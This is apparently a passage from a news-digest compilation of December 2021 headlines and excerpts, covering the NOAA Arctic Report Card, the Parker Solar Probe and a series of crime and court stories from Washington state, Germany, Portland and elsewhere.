GIST	<p>Scientists have long predicted that sea level rise will be one of the most disastrous consequences of global warming -- and now, they're discovering that the northernmost region, the biggest contributor to sea level rise, is warming at unprecedented rates.</p> <p>Climate change is transforming the Arctic into a "dramatically different state," with the region warming at a rate more than twice as fast as the rest of the world due to the melting of white and sea ice, according to the 2021 Arctic Report Card released by the National Oceanic and Atmospheric Administration Tuesday morning.</p> <p>The substantial decline in Arctic sea ice extent since 1979 is one of the most iconic indicators of climate change, according to the report. Summer 2021 saw the second-lowest amount of older, multi-year ice since 1985, and the post-winter sea ice volume in April 2021 was the lowest since records began in 2010.</p> <p>In addition, the period between October and December in 2020 was the warmest Arctic autumn on record, dating back to 1900, according to the report.</p> <p>The average surface air temperature over the Arctic in the past year, October 2020 through September 2021, was the seventh-warmest on record, and this is the eighth consecutive year since 2014 that air temperatures were at least 1 degree Celsius above the long-term average.</p>

Recent studies on ocean acidification, the process in which the water's pH levels are lowered as a result of carbon dioxide in the atmosphere, show that the Arctic Ocean is acidifying faster than the global ocean, but with high spatial variability, the report states.

Since ocean water is typically neutral, the acidification could have implications on the ecosystem of the Arctic Ocean, including effects on algae, zooplankton and fish, according to the report.

In the Eurasian Arctic, terrestrial snow cover in June 2021 was the third-lowest since records began in 1967, the report states. In the North American Arctic, snow cover has been below average for 15 consecutive years.

Beavers are also colonizing the Arctic tundra of western Alaska, transforming lowland tundra ecosystems and degrading permafrost by increasing the amount of unfrozen water on the landscape during the winter, according to the report.

The number of beaver ponds in Alaska has doubled since 2000, likely due to the warming trend that has resulted in widespread greening in what was previously tundra, scientists and local observers have both noted, the report states.

The Greenland Ice Sheet, the largest contributor to sea level rise in the world, experienced three melt episodes in late July and August, according to the report. Satellite imagery provides "unequivocal evidence" of widespread tundra greening. A melt episode on a glacier can include melting, evaporation, erosion and calving in a short period of time.

Retreating glaciers and thawing permafrost are causing local to regional-scale hazards as well, the scientists wrote.

The Arctic Report Card documents how climate change continues to alter the once "reliably-froze" region as increasing heat and the loss of ice drive its transformation into an uncertain future, according to NOAA.

"This year's Arctic Report Card continues to show how the impacts of human-caused climate change are propelling the Arctic region into a dramatically different state than it was in just a few decades ago," said NOAA Administrator Rick Spinrad, Ph.D. "The trends are alarming and undeniable. We face a decisive moment. We must take action to confront the climate crisis."

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HEADLINE	12/14 NASA craft 'touches' sun for first time
SOURCE	https://abcnews.go.com/Technology/wireStory/nasa-craft-touches-sun-1st-time-dives-atmosphere-81751979
GIST	<p>CAPE CANAVERAL, Fla. -- A NASA spacecraft has officially "touched" the sun, plunging through the unexplored solar atmosphere known as the corona.</p> <p>Scientists announced the news Tuesday during a meeting of the American Geophysical Union.</p> <p>The Parker Solar Probe actually flew through the corona in April during the spacecraft's eighth close approach to the sun. Scientists said it took a few months to get the data back and then several more months to confirm.</p> <p>"Fascinatingly exciting," said project scientist Nour Raouafi of Johns Hopkins University.</p> <p>Launched in 2018, Parker was 8 million miles (13 million kilometers) from the center of the sun when it first crossed the jagged, uneven boundary between the solar atmosphere and outgoing solar wind. The spacecraft dipped in and out of the corona at least three times, each a smooth transition, according to scientists.</p>

	<p>“The first and most dramatic time we were below for about five hours ... Now you might think five hours, that doesn't sound big,” the University of Michigan's Justin Kasper told reporters. But he noted that Parker was moving so fast it covered a vast distance during that time, tearing along at more than 62 miles (100 kilometers) per second.</p> <p>The corona appeared dustier than expected, according to Raouafi. Future coronal excursions will help scientist better understand the origin of the solar wind, he said, and how it is heated and accelerated out into space. Because the sun lacks a solid surface, the corona is where the action is; exploring this magnetically intense region up close can help scientists better understand solar outbursts that can interfere with life here on Earth.</p> <p>Preliminary data suggest Parker also dipped into the corona during its ninth close approach in August, but scientists said more analyses are needed. It made its 10th close approach last month.</p> <p>Parker will keep drawing ever closer to the sun and diving deeper into the corona until its grand finale orbit in 2025.</p> <p>The latest findings were also published by the American Physical Society.</p>
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Crime, Criminals

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HEADLINE	12/14 Lakewood woman's death ruled a murder
SOURCE	https://www.q13fox.com/news/serena-turners-death-now-ruled-a-murder-reward-offered-for-information
GIST	<p>MAPLE VALLEY, Wash. - A year ago, the body of 29-year-old Serena ‘Ree Ree’ Turner was found by the Jenkins Creek exit off of Highway 18 near Maple Valley. Initially recorded as suspicious circumstances, detectives are now investigating her death as a murder.</p> <p>"We're sad to share. We're now calling this a homicide and that's why our want and our urgency in this case is so great," said Sgt. Tim Meyer with the King County Sheriff's Office.</p> <p>King County Major Crimes investigators say Serena left home in Lakewood on Friday, Dec. 11, 2020. She did not have a cell phone. She told her mother, Rashon Turner, that she had a ride and was headed north. "She knew a lot of people in King County," said Turner.</p> <p>Her body that showed visible signs of physical injuries was found three days later on Dec. 14, 2020.</p> <p>Detectives say two suspects in a silver sedan were seen by passersby at the location where she was found between 9:30 a.m. and 10 a.m.</p> <p>There is no other description of the suspects or the car, but the sheriff's office is hoping allegiances have changed in the last year and that and somebody who knows what happened will come forward with information.</p> <p>"This family is now going to be celebrating a second Christmas without ‘Ree Ree’. We need to make sure that no others follow. Let's get that information. Let's get whoever is responsible for the events that took her life in December of last year. Let's make sure that we hold them accountable," said Sgt. Meyer.</p> <p>Turner described her daughter as someone who always looked out for other people, even strangers. She tried to always remain positive even to people who weren't nice. "She stayed cheerful through good and bad," said Turner.</p> <p>Now, she's left wondering what Serena's last words were and what happened that weekend. "I know somebody knows something. People may have mentioned they gave her a ride. People do talk. Somebody</p>

saw her get in and out of that car,' said Turner. "This is not a good thing to withhold information. You need to help with this, any kind of information," she said.

Turner said that before Serena was killed, they had plans to move to California. Now, she is remaining here until she gets justice for her daughter. "We're trying to maintain, to handle it the best way we can," she said.

If you have any information on who Serena was with between Dec. 11 and Dec. 14 of 2020, or who the suspects may be in the silver sedan, submit an anonymous tip to Crime Stoppers of Puget Sound through the [P3 Tips app](#) on your cell phone or call 1-800-222-TIPS (8477) or go to www.P3Tips.com. You will never be asked to give your name.

Crime Stoppers is offering a \$1,000 cash reward for any information that leads to an arrest in the case.

"Take a look at that face, that beaming smile, Let's get the killer responsible for this identified. She would have turned 30 this year, and we want to honor that. We want to honor three decades of life that was taken far too early. We're gonna ask anyone who was around that Jenkins Creek area on Hwy 18 back on that Monday, December 14th, 2020 to please come forward. We owe it to 'Ree Ree', we owe it to all who loved her to make sure that we get closure," said Sgt. Tim Meyer.

Detectives are also asking for drivers to check to see if they have any dashcam video driving westbound on Highway 18 from SE 231st St to Auburn Way between 9:30 a.m. and 10 a.m. on Dec. 14, 2020. If so, please call (206) 296-3311 or send an email at MCUTips@KingCounty.gov. Reference case C20039619.

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HEADLINE	12/15 Pandemic-link crime rise hit poor hardest
SOURCE	https://www.upi.com/Health_News/2021/12/15/covid19-crime/7441639521083/
GIST	<p>Poor neighborhoods of color bore the brunt of a surge in violent crime in U.S. cities early in the COVID-19 pandemic, new research shows.</p> <p>"This study adds to the mounting body of research showing that equal opportunities - including the opportunity to live, work, learn, play and worship free from violence -- are not afforded to all Americans, and that the greatest burdens of violence are shouldered by our most marginalized and economically vulnerable neighborhoods," said study co-author Shani Buggs.</p> <p>"The pandemic has only worsened these outcomes," said Buggs, of the of the Violence Prevention Research Program (VPRP) at the University of California, Davis.</p> <p>Buggs, an assistant professor, called for significant investments in development, empowerment and healing of the communities most affected.</p> <p>Previous research found violence increased in U.S. cities during the pandemic, but it did not pinpoint where violence was highest or increased the most within cities.</p> <p>For this study, the investigators analyzed 2018-2020 data from 13 cities: Baltimore, Boston, Chicago, Cincinnati, Dallas, Denver, Detroit, Los Angeles, Milwaukee, Philadelphia, Phoenix, San Francisco and Seattle.</p> <p>While they saw an overall 29.3% jump in gun violence, a nearly 28% surge in homicides and a 4% rise in assault in 2020, compared to 2018-2019, those increases weren't evenly distributed within the cities.</p> <p>"ZIP codes with higher concentrations of low-income Black people and people of color experienced substantially higher rates of violence from March to July 2020 [the pandemic's first months] than did ZIP codes with higher concentrations of high-income White people," said study lead author Julia Schleimer, a research data analyst at VPRP.</p>

	<p>"We estimated that, in 2020, on average, there were approximately 14 more incidents of firearm violence in the least-privileged ZIP codes compared to the most privileged ZIP codes, and almost 150 more aggravated assaults and five more homicides," she said in a university news release.</p> <p>The difference in the burden of violence in poorer versus richer neighborhoods was greater during the pandemic than in prior years, according to the study recently published online in the American Journal of Public Health.</p> <p>Not all violent crime increased, however.</p> <p>During the pandemic's first five months, robbery dropped 23% and rape decreased by 31% overall, something the authors said requires further research to understand.</p>
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HEADLINE	12/15 Germany convicts Russian in state killing
SOURCE	https://apnews.com/article/europe-russia-germany-foreign-policy-moscow-00406c5409443089310c725441d30915
GIST	<p>BERLIN (AP) — A Berlin court convicted a Russian man Wednesday of a killing in Germany's capital two years ago and concluded that Russian authorities ordered the slaying.</p> <p>The 2019 slaying of Zelimkhan "Tornike" Khangoshvili, 40, a Georgian citizen of Chechen ethnicity, sparked outrage in Germany and inflamed diplomatic tensions between Russia and Germany. It prompted the German government to expel two Russian diplomats — and a reciprocal response by Moscow.</p> <p>The Berlin regional court said in its verdict that Russian security services provided 56-year-old Vadim Krasikov with a false identity, fake passport and the resources to carry out the Aug. 2019 hit. The Kremlin has called the allegations of Russian involvement in the Berlin killing "absolutely groundless."</p> <p>The court found Krasikov guilty of murder Wednesday and sentenced him to life imprisonment. Defense lawyers had asked the court to acquit their client, who claimed a case of mistaken identity.</p> <p>Judges said Krasikov bore "particularly grave responsibility" for the slaying, meaning he will not be entitled to the automatic parole after 15 years that is customary in Germany.</p> <p>The outcome of the trial could stoke fresh tensions between Germany and Russia at a time when the new government of Chancellor Olaf Scholz is trying to find its foreign policy footing with Moscow.</p> <p>The victim's relatives, who under German law were allowed to take part in the trial as co-plaintiffs, accused Russia last week of trying to "send a message" to its political enemies by killing Khangoshvili, who had claimed asylum in Germany three years earlier.</p> <p>Prosecutors alleged that Krasikov traveled to Berlin under the alias Vadim Sokolov in August 2019 at the behest of the Russian government for a "state-contracted killing," shooting the victim from behind with a silencer-fitted handgun near the Kleiner Tiergarten park.</p> <p>With Khangoshvili lying on the ground, Krasikov allegedly fired two more bullets into his head, killing him.</p> <p>Witnesses saw the suspect throw a bike, a gun and a wig in the Spree River near the scene and alerted police, who quickly arrested him before he could make off on an electric scooter parked in a doorway.</p> <p>Russian President Vladimir Putin's spokesman, Dmitry Peskov, had called the allegations of Russian involvement in the Berlin killing "absolutely groundless."</p>

	<p>Putin said after a meeting with then-Chancellor Angela Merkel months after the slaying that Khangoshvili, the victim, had been a “bandit” and a “murderer” who allegedly killed using him of killing scores of people during fighting in the Caucasus.</p> <p>German-Russian relations took a further hit last year after Merkel intervened to fly poisoned Russian opposition leader Alexei Navalny to Berlin for medical treatment. Navalny says he was poisoned by Russian agents, which Moscow denies. After returning to his home country, Navalny was sentenced to 2 1/2 years in prison for violating the terms of his probation while convalescing in Germany.</p> <p>German’s new foreign minister, Annalena Baerbock, has called for a tougher stance toward Russia, especially over its military buildup near Ukraine. But Scholz has called for a new “Ostpolitik” — or policy toward the east — of the kind that his Social Democratic predecessor as chancellor, Willy Brandt, pursued during the Cold War.</p>
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HEADLINE	12/14 Porch pirates love the Seattle area
SOURCE	https://www.seattletimes.com/seattle-news/law-justice/tips-to-prevent-porch-pirates-from-stealing-your-holiday-packages/
GIST	<p>Online shoppers are expected to spend an estimated \$207 billion this holiday season, according to Adobe. Pitney Bowes, a technology company focused on commerce solutions, reported a record 20 billion parcels shipped to U.S. addresses last year. So it’s not a surprise that thieves see all those packages on the porch as opportunities.</p> <p>Most people don’t report stolen deliveries to police. When they do, the incidents are logged as larceny theft, not specifically package theft, so numbers are hard to find. But local law enforcement concurs the incidents are on the rise.</p> <p>“Porch pirating is here to stay, at least for a while, I think,” said King County Sheriff’s Office spokesman Sgt. Tim Meyer. “The rise of the gig economy and all those vehicles going in and out of your driveway also provide a cover for thieves.”</p> <p>“Neighbors often can’t tell which ones are there legitimately,” he said.</p> <p>In Washington, there were a reported 1,908 such crimes per 100,000 residents last year, according to a recently released survey by security company CCTV Camera World.</p> <p>The analysis, based on FBI crime data, ranked Washington among the nation’s 10 worst states when it comes to the crime. Washington, D.C., was the city where porch piracy flourished most, the CCTV survey found.</p> <p>With holiday shopping season underway, consider these tips from the Better Business Bureau of Washington and CCTV Camera World to prevent package theft.</p> <ul style="list-style-type: none"> • Check with neighbors. Sometimes, your package may not be stolen at all, just simply at the wrong address. Before filing a report or contacting the sender, check with your neighbors and see if the delivery service may have dropped off your package at the wrong address. Many delivery companies will take pictures of your package in the designated location — be sure to check for the photo and verify it is at the right spot. • Don’t leave packages unattended. When possible, do not leave delivered packages unattended for long periods. If you are expecting a package, attempt to schedule its delivery when you know you will be home. Consider asking your neighbors to hold on to packages delivered to you if you plan to be gone for an extended time. • Ship to store. If purchasing an item from a retailer that has a physical location near your home, consider shipping it there instead. Retailers will require proof of purchase or identification before releasing packages they have received to avoid package theft.

	<ul style="list-style-type: none"> • Require a signature. Many delivery companies include the option to require a signature before leaving a package, letting you take physical possession of the item as soon as it is delivered. This option works well, especially for expensive orders, for those who are often at home. However, it may create difficulties in receiving packages if your schedule and the delivery service are different. Be sure to check with the delivery company on their policy for packages that are not signed for; they may return it to the sender after a certain number of attempts. • Consider a package receiving service. Some major retailers, such as Amazon, offer secure package receiving locations away from your home that you can access with a key or code. Some independent businesses also specialize in this service, allowing you to designate a different delivery location for your packages where you can pick them up. • Enable tracking and text alerts: Most carriers, including Amazon, UPS and FedEx, will text you when your package has been delivered. Turn this feature on and collect your packages as soon as possible. • Install home security cameras: Security cameras have successfully identified porch pirates in the act. Signs that specifically state that a residence is under surveillance can also serve as a deterrent to thieves. Consider smart cameras with AI-based technology that can detect unusual activity, including if a package goes missing. • Invest in a porch lockbox: Companies now manufacture lockboxes designed specifically to receive packages. The lockbox will have a code that you provide to the delivery service so they can open it and drop your package off securely. • Ask for nondescript packaging: A package that says Tiffany is likely to pique the interest of any criminal. See if the merchant will use a nondescript box.
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HEADLINE	12/14 Prison company to pay WA \$4.5M legal fees
SOURCE	https://www.seattletimes.com/seattle-news/judge-prison-company-to-pay-washington-state-4-5m-in-legal-fees/
GIST	<p>TACOMA, Wash. (AP) — The private prison company The GEO Group has been ordered to pay the Washington state Attorney General’s Office nearly \$4.5 million in legal fees, after the state sued to force the company to pay detainees at its immigration lockup in Tacoma minimum wage for work they perform there.</p> <p>A federal jury ruled in October that detainees held at the Northwest detention center are entitled to minimum wage for cooking, cleaning and other tasks, rather than \$1 per day.</p> <p>The company was ordered to pay former detainees as well as the state more than \$23 million in all. The judgments have been put on hold while GEO appeals, but in the meantime U.S. District Judge Robert Bryan on Tuesday awarded the state nearly \$4.5 million in attorney fees.</p>
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HEADLINE	12/14 Pierce Co. armed carjacking manhunt
SOURCE	https://www.thenewstribune.com/news/local/crime/article256602661.html
GIST	<p>Update at 4:48 p.m.: The sheriff’s department says the K-9 unit was unable to locate the suspects, but that deputies were working with multiple witnesses to develop accurate descriptions of them. It is safe for nearby residents to leave their homes, although some roads remain closed in the vicinity while evidence is being collected, deputies said.</p> <p>Original post: Deputies were searching for suspects in an armed carjacking Tuesday afternoon near a big-box retailer in Spanaway after three people fled in the stolen vehicle and crashed nearby.</p> <p>Pierce County Sheriff’s Department said a carjacking was reported around 3:25 p.m. in the Walmart parking lot at 20307 Mountain Highway E. Deputies are searching for three suspects described as teenage males wearing dark clothing and possibly ski masks.</p> <p>Nearby residents were asked to stay inside while police dogs tracked the suspects east of the store.</p>

	<p>Sheriff's department spokesperson Sgt. Darren Moss said the suspects shot at three or four different people in the area, according to a tweet from the department. He asked nearby residents to check security cameras to see if anyone matches the suspects' description.</p> <p>The sheriff's office shared a map of the area where residents were asked to remain inside. Several roads were closed as a result of the incident. More details were not immediately available.</p>
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HEADLINE	12/14 For shooting threat at Capitol riot: 28mo. jail
SOURCE	https://www.washingtonpost.com/dc-md-va/2021/12/14/pelosi-threats-sentenced-meredith/
GIST	<p>As Cleveland G. Meredith Jr., a devoted follower of the radical QAnon ideology, drove toward the nation's capital from Colorado on Jan. 6 with a cache of guns, 2,500 rounds of ammunition and high-capacity magazines, he repeatedly texted his family and friends ominous sentiments. One message said he was "gonna collect a ... ton of Traitors heads."</p> <p>When a family member responded that President Donald Trump wanted him to go home, Meredith strongly disagreed and said: "he wants HEADS and I'm gonna deliver." Meredith didn't arrive in Washington until late that night, but the next day he informed his family that he was considering shooting both D.C. Mayor Muriel E. Bowser (D) and House Speaker Nancy Pelosi (D-Calif.), twice texting that he was considering "putting a bullet in her [Pelosi's] noggin on live TV."</p> <p>His family called the FBI. Meredith, 53, was arrested Jan. 7 in a D.C. hotel room and ordered held without bond. On Tuesday, after his sentencing range was increased by a judge for threatening a government official and showing intent to carry out his threats, he was sentenced to 28 months in federal prison.</p> <p>Meredith's attorney had asked U.S. District Judge Amy Berman Jackson to sentence Meredith to the 11 months he has already served and had expected his client to face a maximum of 21 months. Prosecutors had not sought a sentencing increase beyond a range of 18 to 24 months, but did not oppose it.</p> <p>In a 50-minute analysis of Meredith's case, Jackson pointedly read aloud every text message listed by prosecutors in a sentencing brief, many of them vulgar, to emphasize her view that "the level of discourse in this country has become so debased and degraded." The judge said that Meredith truly was "strategizing on best way to assault this city," as he wrote in one text on Jan. 7.</p> <p>"It is not patriotism," the judge told Meredith, "it is not standing up for America and it is not justified to descend on the nation's capital at the direction of a disappointed candidate and threaten members of the other party. Canceling out the votes of others at the point of a gun is the utter antithesis of what America stands for, it is the definition of tyranny and authoritarianism."</p> <p>"I know what I did was wrong," Meredith said. "It was political hyperbole that was too hyper. ... I'm very embarrassed about the whole situation. It's not who I am and it's not who I want to be remembered as."</p> <p>Meredith, who lives in Hayesville, N.C., is divorced and drove to Colorado in late December 2020 to spend time with his ex-wife and two sons, according to his sentencing memo. He also brought the boxes of ammunition, a handgun and a rifle, along with some all-terrain vehicles, to practice with his kids, his lawyers said. Jackson noted that 1,000 rounds of armor-piercing ammunition, an assault rifle with a telescopic sight and high-capacity magazines were probably not needed for target practice with children.</p> <p>Starting on Jan. 4, Meredith began driving toward Washington with his weapons and his ATVs, which he said in some texts he might need to break through to the U.S. Capitol. "We're gonna surround DC and slowly constrict," Meredith wrote.</p> <p>His lawyer, Paul Kiyonaga, said that "in the QAnon world, [Meredith] found a sense of purpose." QAnon is a sprawling set of false claims born online that have coalesced into an extremist ideology and</p>

radicalized its followers. In 2018, Meredith erected a billboard in Acworth, Ga., that read, “#QANON,” telling the [Atlanta Journal-Constitution](#) that he was “a patriot among the millions who love this country.”

But Meredith’s truck broke down, and he did not reach the District until the evening of Jan. 6, by which time the Capitol had been cleared of rioters and the electoral vote count confirming Joe Biden’s election had resumed. While en route, he wrote, “3.5 hours until target practice.” A family member responded, “Please stop talking like that.”

The next day, Meredith sent texts such as, “I may wander over to the mayor’s office and put a 5.56 in her skull” and “Thinking about heading over to Pelosi ... speech and putting a bullet in her noggin on live TV,” court records show. Later that afternoon, not far from the Capitol, he got into a fight with a passenger in a car, which had stopped in front of him, and was charged with assault. When he returned to his hotel in Southwest Washington and continued to text threats, which his lawyer noted were not sent to any of the targets, his family called the FBI.

In pleading guilty to one count of making felony threats, Meredith had expected his sentencing range might be six to 12 months, but possibly rise to 18 to 24 months if the judge found that Meredith had an actual intent to carry out his threats. Prosecutors said they supported a sentence in the middle of either of those ranges. But the presentencing report added a second enhancement, because Pelosi is a government official. That raised the possible sentencing range to 37 to 46 months. Kiyonaga argued against both increases, saying Meredith had not surveilled or done any planning, but Jackson found that both enhancements applied.

Giving Meredith credit for agreeing to seek mental health help, Jackson placed his sentence between the two recommended ranges.

“The words in this case are the offense,” Jackson said. “These types of statements cannot be shrugged off. They cannot be normalized by adding ‘LOL’ at the end.”

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HEADLINE	12/15 German police raids: anti-vax murder plot
SOURCE	https://www.theguardian.com/world/2021/dec/15/german-police-conduct-raids-in-saxony-over-anti-vaxxer-plot-dresden
GIST	<p>German police have searched several locations in the eastern state of Saxony as part of an investigation into what they said was a plot by anti-vaccination activists to murder the state’s prime minister, Michael Kretschmer.</p> <p>The searches in the city of Dresden targeted individual members of a group on the messaging service Telegram, where plans for the killing were discussed in connection with the state government’s coronavirus curbs, police said.</p> <p>The group <i>Dresden Offlinevernetzung</i>, or Dresden offline networking, came to the attention of authorities after an investigation published last week by the broadcaster ZDF.</p> <p>The ZDF report revealed that members of the Telegram group spoke about killing representatives of the Saxony state government at meetings in the city.</p> <p>Special forces took part in Wednesday’s raids launched after statements by group members suggested they might be in possession of sharp weapons and crossbows, Saxony police said on Twitter.</p> <p>In recent weeks, there have been protests by opponents of Covid restrictions in Saxony, which has the second highest rate of new coronavirus cases in Germany and the country’s lowest vaccination rate.</p> <p>Last month, a group of protesters held a torchlit gathering outside the home of Saxony’s interior minister, in what was widely seen as an implicit threat of violence against her.</p>

HEADLINE	12/14 IG: 4 FBI officials hired prostitutes overseas
SOURCE	https://www.washingtontimes.com/news/2021/dec/14/four-fbi-officials-hired-prostitutes-overseas-insp/
GIST	<p>The Justice Department Office of the Inspector General on Tuesday said four FBI officials hired prostitutes while on the job.</p> <p>In an investigative summary, the department watchdog said the officials were on assignment overseas when they “solicited, procured, and accepted commercial sex” in violation of FBI and Justice Department policies. A fifth official reportedly solicited, but did not hire, a prostitute.</p> <p>“The OIG investigation further found that five officials failed to report contact or relationships with foreign nationals, including foreign nationals from whom they procured commercial sex, in violation of FBI policies,” the summary states.</p> <p>During the probe, two of the officials being investigated resigned, two retired and one was removed. The investigative findings were sent to the FBI for “appropriate action.”</p> <p>An FBI spokesperson told The Washington Times on Tuesday that the majority of personnel “represent the FBI with the utmost honor and respect” wherever they are stationed.</p> <p>“We will not tolerate these few individuals, who chose to disregard their oath and the public we serve, tarnishing the good work the rest of the FBI accomplishes each and every day,” the spokesperson said.</p>
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HEADLINE	12/14 Portland businesses turn to private security
SOURCE	https://www.washingtontimes.com/news/2021/dec/14/portland-business-owners-turn-private-security-aft/
GIST	<p>Lisa Schroeder, the owner of Mother’s Bistro & Bar in downtown Portland, Oregon, realized things had to change last month after she was on hold for more than an hour with the local police department.</p> <p>“I waited on hold on the nonemergency police number after an incident where a skateboarder trashed a bunch of glasses we had outside our restaurant for outdoor diners,” Ms. Schroeder told The Washington Times. “I finally hung up after nearly 1 1/2 hours.”</p> <p>Ms. Schroeder, fed up with repeatedly having to clean graffiti off the windows of her comfort food restaurant, figured it was time that she joined the growing roster of Old Town businesses hiring private security guards to protect employees and property.</p> <p>She was relieved to find out that another tenant in her building had already done just that.</p> <p>“Without police, you know, crime happens,” she said.</p> <p>Local police union leader Aaron Schmautz says people like Ms. Schroeder are “very reasonably” frustrated.</p> <p>“A lot of these business owners are just basically waiting for help there,” said Mr. Schmautz, president of the Portland Police Association. He added that some businesses are having issues with attracting customers because “people don’t feel safe.”</p> <p>Last week, the Portland Police Bureau — the official name of the city police force — announced that, due to staff shortages, officers would only respond to high-priority calls that are life-threatening or major property crimes. The department also warned that even those responses could be delayed.</p>

“The amount of calls as it relates to how many officers we have on the street is — it’s just completely untenable — which is why we keep saying over and over, we need more people,” Mr. Schmautz said, adding that some officers begin their shifts with 30 to 50 unanswered calls holding for service.

Portland’s exodus of officers began in July 2020 after racial justice protest spread across the country after the murder of George Floyd, a Black man, by a Minnesota police officer.

Protests went on almost every night in Portland for more than 100 days, and city leaders responded to calls to “defund the police” by slashing \$15 million from the force’s budget. Spending on law enforcement in the city has shrunk each of the past three fiscal years, from \$238.2 million to \$229.5 million to \$222.5 million.

The city of more than 654,000 currently has nearly 200 openings on a police force with 917 authorized positions. As recently as three years ago, the force had 1,016 badges. Baltimore, a city with almost 50,000 fewer residents, fields a police force of 2,500 officers. But as the police force shrinks, crime grows.

Portland has recorded at least 69 homicides so far in 2021 — the most since 67 were recorded in 1987.

The number of drug crimes in the city has nearly tripled compared to the same time last year, going from 318 to 895; shootings are up 35%, going from 695 to 1,080 and carjackings are up 23%, going from 5,337 to 6,994.

Police Chief Chuck Lovell, responding to a recent spate of violence in the city, said last week: “We know our community is concerned about the rise in violence and we are doing our best to respond and investigate these crimes.”

Kris Henning, a professor of criminology and criminal justice at Portland State University, says the officer shortage also means police are doing more reactive policing, rather than proactive policing.

“The No. 1 thing that influences people and discourages them from engaging in criminal activity is the perceived risk of getting caught,” Mr. Henning said. “There isn’t much of a perceived risk of getting caught in Portland anymore.”

Bar owner Oleg Pilipenko says the city these days has become the “wild, wild west.”

“I mean, right now, we can’t even walk in the city ‘cause it’s not safe,” Mr. Pilipenko said. “It’s a lawless city ... This is how people feel now: because there is no law on the street, you don’t have to follow the law.”

Mr. Pilipenko’s bar, Katie O’Brien’s, has been robbed twice in recent weeks.

Now, he closes the bar two hours early each day and doubles the number of staff on each shift — but says it’s still hard to keep employees because they “don’t feel safe” at work.

Jessie Burke, who owns the nearby Society Hotel, recently told Oregon Public Broadcasting that she now calls Echelon Protective Services, a private security company she hired in July 2020, before she contacts the police.

“Neighborhoods used to have a walking beat [cop] because they could get to know everybody and then it was easier to mitigate stuff. That’s what Echelon does,” Ms. Burke told the news outlet. “They’re in the neighborhood, walking the whole neighborhood, all the time. That’s why they know everybody.”

Echelon co-owner Reid Kerr told The Times that the security guards try “to get residents the services they need to battle homelessness, drug addiction and hunger.”

The business launched in Portland in 2019 and has more than 50 employees and more than 300 clients nationwide.

The security guards “are not only trained to deescalate situations, but they also receive extensive training in helping individuals with mental health and addiction issues,” Mr. Kerr said.

Multnomah District Attorney Mike Schmidt, however, told Oregon Public Broadcasting that last fall his office stopped pursuing charges in cases that rely heavily on testimony from Echelon security guards.

“I have been disturbed by allegations of misconduct by employees of Echelon Protective Services,” Mr. Schmidt told the news outlet. “Taken together, they suggest that Echelon staff are inadequately trained in conflict deescalation, the use of force as a last resort only, and basic tactical considerations meant to protect both themselves and the members of the public with whom they interact.”

Police union leader Mr. Schmautz also warned that there can be downsides to replacing sworn, professionally trained officers with cops-for-hire.

There should not be a “zero-sum game” where residents feel they must choose between security guards or police because that is “where you end up with things kind of going sideways,” he said.

Mr. Schmautz noted that security guards are “limited” in how they can respond to certain situations because they do not have the same training or rights as police officers.

He pointed to last May’s fatal shooting of a man by a private security guard hired by a shopping center in North Portland. The guard was recently indicted and is facing charges in the case.

Authorities say Logan Gimbel was illegally carrying a gun while working for Cornerstone Security Group when he shot and killed Freddy Nelson in a parking lot at the Delta Park Center shopping plaza.

The security guard claims he was acting in self-defense because he thought Mr. Nelson was going to run him over with his car.

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HEADLINE	12/14 OJ Simpson parole supervision ends early
SOURCE	https://www.nytimes.com/2021/12/14/us/oj-simpson-parole-ends.html
GIST	<p>O.J. Simpson is no longer under parole supervision in connection with his 2008 robbery conviction in Nevada, a state law enforcement official said on Tuesday, noting that the former football star’s parole obligations were lifted two months early because of good behavior.</p> <p>As of Dec. 1, Mr. Simpson, 74, was granted his full freedom after four years of supervised release, Kim Yoko Smith, a spokeswoman for the Nevada Department of Public Safety, said in an email.</p> <p>The decision came one day after Mr. Simpson, a member of the Pro Football Hall of Fame who was famously acquitted of double-murder in the 1990s, appeared before the Nevada Board of Parole Commissioners for an early discharge hearing.</p> <p>Mr. Simpson had been on parole since 2017 after his release from prison, where he served nine years. The sentence stemmed from an armed confrontation a decade earlier in a Las Vegas hotel room over what Mr. Simpson contended was sports memorabilia that had been stolen from him.</p> <p>Mr. Simpson’s parole term was originally scheduled to expire on Feb. 9, 2022, according to law enforcement officials.</p> <p>Malcolm LaVergne, a lawyer for Mr. Simpson in Las Vegas, did not immediately respond to a request for comment on Tuesday, but told The Associated Press, “Mr. Simpson is a completely free man now.”</p>

Mr. LaVergne did not comment further on the post-parole plans of Mr. Simpson, who The A.P. reported had been living in a gated community in Las Vegas.

Since his release from prison, Mr. Simpson has hit the golf course and Twitter, opining on fantasy football, politics and other topics in video posts.

It has been a stark contrast from Mr. Simpson's days as a telegenic ambassador for the National Football League, where he was selected first in the 1969 draft by the Buffalo Bills and won four rushing titles. Nicknamed the "Juice," he was a pitchman for Hertz and appeared in "The Naked Gun" movie franchise.

All that changed in June 1994, when Mr. Simpson's ex-wife, Nicole Brown Simpson, and her friend Ronald Goldman were found murdered outside her Brentwood home in Los Angeles. Mr. Simpson, a prime suspect, led the police on an hourslong slow-speed pursuit in a white Ford Bronco that was chronicled on live television by news helicopters before surrendering.

Mr. Simpson was later acquitted of the double-murder after a nearly nine-month trial that captivated the nation. In 1997, he was held liable in a lawsuit for the deaths of Ms. Simpson and Mr. Goldman, whose estates he owed \$33.5 million.

In 2007, Mr. Simpson and a group of other men, two of them carrying guns, went to the Las Vegas hotel room of a sports memorabilia dealer and took hundreds of items from him. Mr. Simpson said he was merely reclaiming property that had been stolen from him, but he was convicted in 2008 of robbery, kidnapping and other charges.

He received a prison sentence of nine to 33 years. He served the minimum.

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HEADLINE	12/14 Ex-NFL player in killings: 'severe' CTE
SOURCE	https://www.q13fox.com/sports/autopsy-severe-brain-trauma-in-former-seahawks-player-who-shot-6
